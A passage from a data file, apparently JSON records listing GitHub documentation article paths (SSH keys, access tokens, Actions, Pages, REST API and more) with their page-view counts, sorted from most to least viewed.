"authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent", "path_count": 445071} +{"path_article": "authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token", "path_count": 437947} +{"path_article": "authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account", "path_count": 292554} +{"path_article": "pages", "path_count": 281607} +{"path_article": "github/site-policy/github-privacy-statement", "path_count": 275910} +{"path_article": "github/site-policy/github-terms-of-service", "path_count": 269316} +{"path_article": "github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax", "path_count": 151336} +{"path_article": "codespaces", "path_count": 148114} +{"path_article": "actions/learn-github-actions/workflow-syntax-for-github-actions", "path_count": 140584} +{"path_article": "authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys", "path_count": 135512} +{"path_article": "get-started/quickstart/set-up-git", "path_count": 130331} +{"path_article": "rest", "path_count": 128971} +{"path_article": "github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line", "path_count": 127225} +{"path_article": "issues/trying-out-the-new-projects-experience", "path_count": 124902} +{"path_article": "actions", "path_count": 118330} +{"path_article": "repositories/creating-and-managing-repositories/cloning-a-repository", "path_count": 117282} +{"path_article": "get-started/getting-started-with-git/managing-remote-repositories", "path_count": 109288} +{"path_article": "get-started/quickstart/hello-world", "path_count": 100140} +{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication", "path_count": 99735} +{"path_article": "rest/reference/repos", "path_count": 99620} +{"path_article": "authentication/troubleshooting-ssh/error-permission-denied-publickey", "path_count": 88529} +{"path_article": "get-started/getting-started-with-git/about-remote-repositories", "path_count": 88430} +{"path_article": "get-started/getting-started-with-git/setting-your-username-in-git", "path_count": 85931} +{"path_article": "actions/learn-github-actions/events-that-trigger-workflows", "path_count": 73088} +{"path_article": "pages/configuring-a-custom-domain-for-your-github-pages-site", "path_count": 71525} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address", "path_count": 70989} +{"path_article": "get-started/learning-about-github/githubs-products", "path_count": 70547} +{"path_article": "authentication", "path_count": 70396} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address", "path_count": 69489} +{"path_article": "get-started/quickstart", "path_count": 66946} +{"path_article": "get-started/getting-started-with-git/caching-your-github-credentials-in-git", "path_count": 66171} +{"path_article": "get-started/learning-about-github/types-of-github-accounts", "path_count": 60238} +{"path_article": "account-and-profile", "path_count": 58549} +{"path_article": "authentication/connecting-to-github-with-ssh/testing-your-ssh-connection", "path_count": 57589} +{"path_article": "actions/learn-github-actions", "path_count": 55655} +{"path_article": "get-started/quickstart/fork-a-repo", "path_count": 54137} +{"path_article": "pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests", "path_count": 53880} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository", "path_count": 53162} +{"path_article": "authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases", "path_count": 49845} +{"path_article": "get-started/quickstart/create-a-repo", "path_count": 47304} +{"path_article": "actions/learn-github-actions/environment-variables", "path_count": 47159} +{"path_article": "desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop", "path_count": 45617} +{"path_article": "get-started/learning-about-github/access-permissions-on-github", "path_count": 44354} +{"path_article": "get-started/getting-started-with-git/ignoring-files", "path_count": 43931} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile", "path_count": 42864} +{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests", "path_count": 41642} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile", "path_count": 41611} +{"path_article": "get-started/signing-up-for-github/verifying-your-email-address", "path_count": 40941} +{"path_article": "get-started", "path_count": 40650} +{"path_article": "actions/learn-github-actions/contexts", "path_count": 40545} +{"path_article": "authentication/managing-commit-signature-verification", "path_count": 40009} +{"path_article": "pages/getting-started-with-github-pages/about-github-pages", "path_count": 37829} +{"path_article": null, "path_count": 37742} +{"path_article": "pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site", "path_count": 37603} +{"path_article": "get-started/using-github/supported-browsers", "path_count": 37432} +{"path_article": "get-started/using-git/pushing-commits-to-a-remote-repository", "path_count": 37408} +{"path_article": "get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain", "path_count": 36930} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository", "path_count": 36714} +{"path_article": "search-github/searching-on-github/searching-issues-and-pull-requests", "path_count": 36378} +{"path_article": "repositories/working-with-files/managing-files/adding-a-file-to-a-repository", "path_count": 36316} +{"path_article": "developers/overview/managing-deploy-keys", "path_count": 36019} +{"path_article": "issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards", "path_count": 35326} +{"path_article": "rest/overview/other-authentication-methods", "path_count": 33853} +{"path_article": "github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks", "path_count": 33807} +{"path_article": "pages/getting-started-with-github-pages", "path_count": 33773} +{"path_article": "packages/working-with-a-github-packages-registry/working-with-the-npm-registry", "path_count": 33692} +{"path_article": "organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions", "path_count": 33430} +{"path_article": "rest/overview", "path_count": 33172} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username", "path_count": 33129} +{"path_article": "actions/security-guides/encrypted-secrets", "path_count": 32969} +{"path_article": "repositories/creating-and-managing-repositories/deleting-a-repository", "path_count": 32749} +{"path_article": "packages/working-with-a-github-packages-registry/working-with-the-docker-registry", "path_count": 32215} +{"path_article": "rest/overview/resources-in-the-rest-api", "path_count": 31345} +{"path_article": "pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message", "path_count": 30920} +{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa", "path_count": 30733} +{"path_article": "github/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message", "path_count": 30544} +{"path_article": "authentication/managing-commit-signature-verification/generating-a-new-gpg-key", "path_count": 29743} +{"path_article": "repositories/releasing-projects-on-github/about-releases", "path_count": 28887} +{"path_article": "actions/learn-github-actions/understanding-github-actions", "path_count": 28843} +{"path_article": "packages", "path_count": 28655} +{"path_article": "get-started/using-github/troubleshooting-connectivity-problems", "path_count": 28396} +{"path_article": "desktop", "path_count": 28303} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches", "path_count": 28010} +{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication", "path_count": 27795} +{"path_article": "developers/apps/building-oauth-apps/authorizing-oauth-apps", "path_count": 27790} +{"path_article": "issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue", "path_count": 27153} +{"path_article": "rest/guides/getting-started-with-the-rest-api", "path_count": 26807} +{"path_article": "pages/getting-started-with-github-pages/creating-a-github-pages-site", "path_count": 26776} +{"path_article": "github", "path_count": 26655} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes", "path_count": 26416} +{"path_article": "authentication/connecting-to-github-with-ssh/about-ssh", "path_count": 26331} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility", "path_count": 26125} +{"path_article": "pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site", "path_count": 25733} +{"path_article": "actions/hosting-your-own-runners/about-self-hosted-runners", "path_count": 25728} +{"path_article": "actions/learn-github-actions/workflow-commands-for-github-actions", "path_count": 25294} +{"path_article": "authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on", "path_count": 24932} +{"path_article": "repositories/releasing-projects-on-github/managing-releases-in-a-repository", "path_count": 24801} +{"path_article": "actions/security-guides/automatic-token-authentication", "path_count": 24774} +{"path_article": "pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews", "path_count": 24323} +{"path_article": "graphql", "path_count": 23917} +{"path_article": "authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on", "path_count": 23772} +{"path_article": "developers/webhooks-and-events/webhooks/about-webhooks", "path_count": 23361} +{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository", "path_count": 23212} +{"path_article": "graphql/overview/explorer", "path_count": 23111} +{"path_article": "actions/using-github-hosted-runners/about-github-hosted-runners", "path_count": 23017} +{"path_article": "developers/webhooks-and-events/webhooks/webhook-events-and-payloads", "path_count": 22997} +{"path_article": "rest/reference/users", "path_count": 22797} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners", "path_count": 22672} +{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites", "path_count": 22461} +{"path_article": "pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line", "path_count": 22354} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch", "path_count": 22341} +{"path_article": "rest/reference/actions", "path_count": 22251} +{"path_article": "code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates", "path_count": 22162} +{"path_article": "codespaces/getting-started/quickstart", "path_count": 21953} +{"path_article": "authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository", "path_count": 21921} +{"path_article": "packages/working-with-a-github-packages-registry/working-with-the-container-registry", "path_count": 21898} +{"path_article": "actions/quickstart", "path_count": 21803} +{"path_article": "repositories/working-with-files/managing-large-files", "path_count": 21710} +{"path_article": "packages/learn-github-packages/introduction-to-github-packages", "path_count": 21583} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule", "path_count": 21583} +{"path_article": "github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line", "path_count": 21198} +{"path_article": "github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request", "path_count": 20488} +{"path_article": "search-github/searching-on-github/searching-code", "path_count": 20323} +{"path_article": "billing/managing-your-github-billing-settings/setting-your-billing-email", "path_count": 19922} +{"path_article": "github/copilot/github-copilot-telemetry-terms", "path_count": 19793} +{"path_article": "admin/release-notes", "path_count": 19785} +{"path_article": "repositories/creating-and-managing-repositories/duplicating-a-repository", "path_count": 19751} +{"path_article": "rest/reference/pulls", "path_count": 19722} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches", "path_count": 19328} +{"path_article": "actions/learn-github-actions/reusing-workflows", "path_count": 19321} +{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication", "path_count": 18887} +{"path_article": "repositories/creating-and-managing-repositories/transferring-a-repository", "path_count": 18828} +{"path_article": "authentication/authenticating-with-saml-single-sign-on", "path_count": 18752} +{"path_article": "github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews", "path_count": 18693} +{"path_article": "get-started/quickstart/github-flow", "path_count": 18662} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reverting-a-commit", "path_count": 18651} +{"path_article": "get-started/getting-started-with-git/configuring-git-to-handle-line-endings", "path_count": 18168} +{"path_article": "authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits", "path_count": 18133} +{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll", "path_count": 18072} +{"path_article": "rest/reference/search", "path_count": 17930} +{"path_article": "developers/apps/building-oauth-apps/scopes-for-oauth-apps", "path_count": 17854} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch", "path_count": 17542} +{"path_article": "get-started/getting-started-with-git/why-is-git-always-asking-for-my-password", "path_count": 17491} +{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials", "path_count": 17354} +{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods", "path_count": 17320} +{"path_article": "authentication/keeping-your-account-and-data-secure/about-authentication-to-github", "path_count": 17316} +{"path_article": "get-started/signing-up-for-github/signing-up-for-a-new-github-account", "path_count": 17274} +{"path_article": "get-started/using-git/getting-changes-from-a-remote-repository", "path_count": 16789} +{"path_article": "repositories", "path_count": 16736} +{"path_article": "rest/reference", "path_count": 16734} +{"path_article": "issues/trying-out-the-new-projects-experience/about-projects", "path_count": 16594} +{"path_article": "github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables", "path_count": 16552} +{"path_article": "organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization", "path_count": 16543} +{"path_article": "education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/apply-for-a-student-developer-pack", "path_count": 16528} +{"path_article": "actions/learn-github-actions/expressions", "path_count": 16481} +{"path_article": "github/writing-on-github/getting-started-with-writing-and-formatting-on-github", "path_count": 16433} +{"path_article": "authentication/managing-commit-signature-verification/signing-commits", "path_count": 16388} +{"path_article": "authentication/managing-commit-signature-verification/adding-a-new-gpg-key-to-your-github-account", "path_count": 16321} +{"path_article": "pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository", "path_count": 16208} +{"path_article": "pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site", "path_count": 16038} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme", "path_count": 15812} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository", "path_count": 15770} +{"path_article": "pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request", "path_count": 15620} +{"path_article": "authentication/keeping-your-account-and-data-secure/creating-a-strong-password", "path_count": 15478} +{"path_article": "actions/creating-actions/creating-a-docker-container-action", "path_count": 15466} +{"path_article": "authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints", "path_count": 15445} +{"path_article": "actions/managing-workflow-runs/manually-running-a-workflow", "path_count": 15387} +{"path_article": "repositories/creating-and-managing-repositories/troubleshooting-cloning-errors", "path_count": 15214} +{"path_article": "actions/creating-actions/metadata-syntax-for-github-actions", "path_count": 14993} +{"path_article": "communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository", "path_count": 14832} +{"path_article": "actions/learn-github-actions/managing-complex-workflows", "path_count": 14563} +{"path_article": "rest/reference/issues", "path_count": 14545} +{"path_article": "pages/quickstart", "path_count": 14423} +{"path_article": "repositories/working-with-files/managing-files/deleting-files-in-a-repository", "path_count": 14416} +{"path_article": "code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates", "path_count": 14187} +{"path_article": "github/site-policy", "path_count": 13981} +{"path_article": "developers", "path_count": 13973} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account", "path_count": 13891} +{"path_article": "repositories/working-with-files/managing-large-files/about-large-files-on-github", "path_count": 13889} +{"path_article": "authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps", "path_count": 13648} +{"path_article": "github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists", "path_count": 13544} +{"path_article": "github-cli/github-cli/about-github-cli", "path_count": 13522} +{"path_article": "authentication/managing-commit-signature-verification/telling-git-about-your-signing-key", "path_count": 13200} +{"path_article": "actions/automating-builds-and-tests/about-continuous-integration", "path_count": 13128} +{"path_article": "github/writing-on-github", "path_count": 13088} +{"path_article": "pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork", "path_count": 13050} +{"path_article": "billing/managing-billing-for-github-actions/about-billing-for-github-actions", "path_count": 13027} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account", "path_count": 12993} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile", "path_count": 12967} +{"path_article": "search-github/getting-started-with-searching-on-github/about-searching-on-github", "path_count": 12757} +{"path_article": "pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages", "path_count": 12734} +{"path_article": "github/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls", "path_count": 12713} +{"path_article": "repositories/creating-and-managing-repositories/creating-a-new-repository", "path_count": 12698} +{"path_article": "packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry", "path_count": 12691} +{"path_article": "desktop/installing-and-configuring-github-desktop", "path_count": 12633} +{"path_article": "get-started/onboarding/getting-started-with-your-github-account", "path_count": 12585} +{"path_article": "repositories/working-with-files/managing-large-files/installing-git-large-file-storage", "path_count": 12554} +{"path_article": "developers/overview/github-developer-program", "path_count": 12452} +{"path_article": "pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser", "path_count": 12321} +{"path_article": "graphql/reference/objects", "path_count": 12155} +{"path_article": "authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on", "path_count": 12127} +{"path_article": "account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications", "path_count": 12026} +{"path_article": "actions/advanced-guides/storing-workflow-data-as-artifacts", "path_count": 11967} +{"path_article": "organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization", "path_count": 11904} +{"path_article": "rest/reference/orgs", "path_count": 11859} +{"path_article": "get-started/quickstart/github-glossary", "path_count": 11831} +{"path_article": "get-started/using-github/github-command-palette", "path_count": 11805} +{"path_article": "actions/learn-github-actions/finding-and-customizing-actions", "path_count": 11779} +{"path_article": "repositories/working-with-files/managing-files/renaming-a-file", "path_count": 11732} +{"path_article": "pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages", "path_count": 11694} +{"path_article": "get-started/learning-about-github/about-github-advanced-security", "path_count": 11676} +{"path_article": "admin", "path_count": 11592} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch", "path_count": 11569} +{"path_article": "packages/working-with-a-github-packages-registry/working-with-the-nuget-registry", "path_count": 11556} +{"path_article": "github/site-policy/github-community-guidelines", "path_count": 11291} +{"path_article": "organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization", "path_count": 11288} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop", "path_count": 11233} +{"path_article": "repositories/creating-and-managing-repositories/about-repositories", "path_count": 11052} +{"path_article": "github/collaborating-with-pull-requests/working-with-forks/syncing-a-fork", "path_count": 11046} +{"path_article": "codespaces/the-githubdev-web-based-editor", "path_count": 11027} +{"path_article": "pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits", "path_count": 11026} +{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll", "path_count": 11003} +{"path_article": "communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository", "path_count": 10971} +{"path_article": "github/site-policy/submitting-content-removal-requests", "path_count": 10894} +{"path_article": "pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github", "path_count": 10849} +{"path_article": "organizations", "path_count": 10831} +{"path_article": "authentication/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported", "path_count": 10810} +{"path_article": "authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials", "path_count": 10678} +{"path_article": "repositories/working-with-files/using-files/working-with-non-code-files", "path_count": 10664} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts", "path_count": 10523} +{"path_article": "rest/reference/git", "path_count": 10448} +{"path_article": "developers/apps/getting-started-with-apps/about-apps", "path_count": 10444} +{"path_article": "github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github", "path_count": 10440} +{"path_article": "actions/hosting-your-own-runners/adding-self-hosted-runners", "path_count": 10269} +{"path_article": "repositories/creating-and-managing-repositories/renaming-a-repository", "path_count": 10259} +{"path_article": "repositories/creating-and-managing-repositories/creating-a-repository-from-a-template", "path_count": 10223} +{"path_article": "get-started/using-git/dealing-with-non-fast-forward-errors", "path_count": 10210} +{"path_article": "authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys", "path_count": 10190} +{"path_article": "github/extending-github/git-automation-with-oauth-tokens", "path_count": 10189} +{"path_article": "actions/advanced-guides/caching-dependencies-to-speed-up-workflows", "path_count": 10072} +{"path_article": "rest/reference/checks", "path_count": 10072} +{"path_article": "developers/webhooks-and-events/webhooks/creating-webhooks", "path_count": 9965} +{"path_article": "repositories/working-with-files/managing-large-files/configuring-git-large-file-storage", "path_count": 9916} +{"path_article": "communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository", "path_count": 9885} +{"path_article": "search-github/getting-started-with-searching-on-github/understanding-the-search-syntax", "path_count": 9845} +{"path_article": "pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https", "path_count": 9845} +{"path_article": "codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization", "path_count": 9830} +{"path_article": "authentication/managing-commit-signature-verification/about-commit-signature-verification", "path_count": 9815} +{"path_article": "actions/deployment/targeting-different-environments/using-environments-for-deployment", "path_count": 9796} +{"path_article": "code-security", "path_count": 9795} +{"path_article": "actions/creating-actions/creating-a-composite-action", "path_count": 9716} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile", "path_count": 9665} +{"path_article": "admin/all-releases", "path_count": 9633} +{"path_article": "organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization", "path_count": 9524} +{"path_article": "billing", "path_count": 9494} +{"path_article": "authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses", "path_count": 9490} +{"path_article": "issues/tracking-your-work-with-issues/about-issues", "path_count": 9479} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request", "path_count": 9390} +{"path_article": "repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests", "path_count": 9320} +{"path_article": "developers/apps", "path_count": 9305} +{"path_article": "communities/maintaining-your-safety-on-github/reporting-abuse-or-spam", "path_count": 9297} +{"path_article": "discussions", "path_count": 9295} +{"path_article": "issues/tracking-your-work-with-issues/creating-an-issue", "path_count": 9218} +{"path_article": "pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request", "path_count": 9073} +{"path_article": "github/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits", "path_count": 9055} +{"path_article": "communities/documenting-your-project-with-wikis/about-wikis", "path_count": 8853} +{"path_article": "account-and-profile/managing-subscriptions-and-notifications-on-github", "path_count": 8814} +{"path_article": "billing/managing-billing-for-github-codespaces/about-billing-for-codespaces", "path_count": 8742} +{"path_article": "developers/apps/building-github-apps/authenticating-with-github-apps", "path_count": 8722} +{"path_article": "desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop", "path_count": 8651} +{"path_article": "get-started/using-github/keyboard-shortcuts", "path_count": 8570} +{"path_article": "github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line", "path_count": 8551} +{"path_article": "actions/creating-actions/about-custom-actions", "path_count": 8547} +{"path_article": "github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request", "path_count": 8516} +{"path_article": "actions/learn-github-actions/essential-features-of-github-actions", "path_count": 8486} +{"path_article": "actions/hosting-your-own-runners", "path_count": 8484} +{"path_article": "search-github/searching-on-github/searching-for-repositories", "path_count": 8473} +{"path_article": "organizations/collaborating-with-groups-in-organizations/about-organizations", "path_count": 8460} +{"path_article": "actions/learn-github-actions/creating-workflow-templates", "path_count": 8270} +{"path_article": "repositories/working-with-files/managing-files/moving-a-file-to-a-new-location", "path_count": 8263} +{"path_article": "actions/learn-github-actions/usage-limits-billing-and-administration", "path_count": 8227} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop", "path_count": 8153} +{"path_article": "desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github", "path_count": 8110} +{"path_article": "authentication/troubleshooting-ssh/using-ssh-over-the-https-port", "path_count": 8037} +{"path_article": "get-started/using-git/resolving-merge-conflicts-after-a-git-rebase", "path_count": 8004} +{"path_article": "get-started/quickstart/git-and-github-learning-resources", "path_count": 8003} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop", "path_count": 7987} +{"path_article": "issues/tracking-your-work-with-issues/about-task-lists", "path_count": 7894} +{"path_article": "repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository", "path_count": 7858} +{"path_article": "pages/getting-started-with-github-pages/unpublishing-a-github-pages-site", "path_count": 7847} +{"path_article": "codespaces/customizing-your-codespace/configuring-codespaces-for-your-project", "path_count": 7811} +{"path_article": "code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning", "path_count": 7806} +{"path_article": "admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users", "path_count": 7794} +{"path_article": "github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github", "path_count": 7745} +{"path_article": "admin/overview/about-enterprise-accounts", "path_count": 7732} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/viewing-the-branch-history", "path_count": 7711} +{"path_article": "authentication/keeping-your-account-and-data-secure", "path_count": 7581} +{"path_article": "repositories/working-with-files/managing-large-files/about-git-large-file-storage", "path_count": 7581} +{"path_article": "rest/reference/activity", "path_count": 7554} +{"path_article": "graphql/guides/forming-calls-with-graphql", "path_count": 7540} +{"path_article": "github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer", "path_count": 7504} +{"path_article": "authentication/troubleshooting-ssh", "path_count": 7461} +{"path_article": "organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch", "path_count": 7420} +{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll", "path_count": 7361} +{"path_article": "github-cli", "path_count": 7355} +{"path_article": "rest/reference/apps", "path_count": 7343} +{"path_article": "issues/using-labels-and-milestones-to-track-work/managing-labels", "path_count": 7338} +{"path_article": "github/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet", "path_count": 7330} +{"path_article": "actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge", "path_count": 7319} +{"path_article": "search-github/searching-on-github/searching-users", "path_count": 7181} +{"path_article": "github/site-policy/dmca-takedown-policy", "path_count": 7158} +{"path_article": "actions/publishing-packages/publishing-docker-images", "path_count": 7149} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github", "path_count": 7136} +{"path_article": "actions/creating-actions", "path_count": 7089} +{"path_article": "communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages", "path_count": 7068} +{"path_article": "desktop/contributing-and-collaborating-using-github-desktop/managing-commits/cherry-picking-a-commit", "path_count": 7034} +{"path_article": "account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email", "path_count": 6980} +{"path_article": "repositories/creating-and-managing-repositories/creating-a-template-repository", "path_count": 6964} +{"path_article": "communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates", "path_count": 6956} +{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll/adding-content-to-your-github-pages-site-using-jekyll", "path_count": 6937} +{"path_article": "github/writing-on-github/working-with-advanced-formatting/attaching-files", "path_count": 6928} +{"path_article": "pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews", "path_count": 6865} +{"path_article": "rest/guides", "path_count": 6836} +{"path_article": "codespaces/overview", "path_count": 6834} +{"path_article": "actions/learn-github-actions/using-workflow-templates", "path_count": 6822} +{"path_article": "developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps", "path_count": 6790} +{"path_article": "repositories/working-with-files/managing-files/creating-new-files", "path_count": 6764} +{"path_article": "code-security/secret-scanning/about-secret-scanning", "path_count": 6722} +{"path_article": "pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally", "path_count": 6714} +{"path_article": "rest/overview/api-previews", "path_count": 6604} +{"path_article": "repositories/working-with-files/managing-files/editing-files", "path_count": 6585} +{"path_article": "pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll", "path_count": 6583} +{"path_article": "search-github/searching-on-github/searching-commits", "path_count": 6582} +{"path_article": 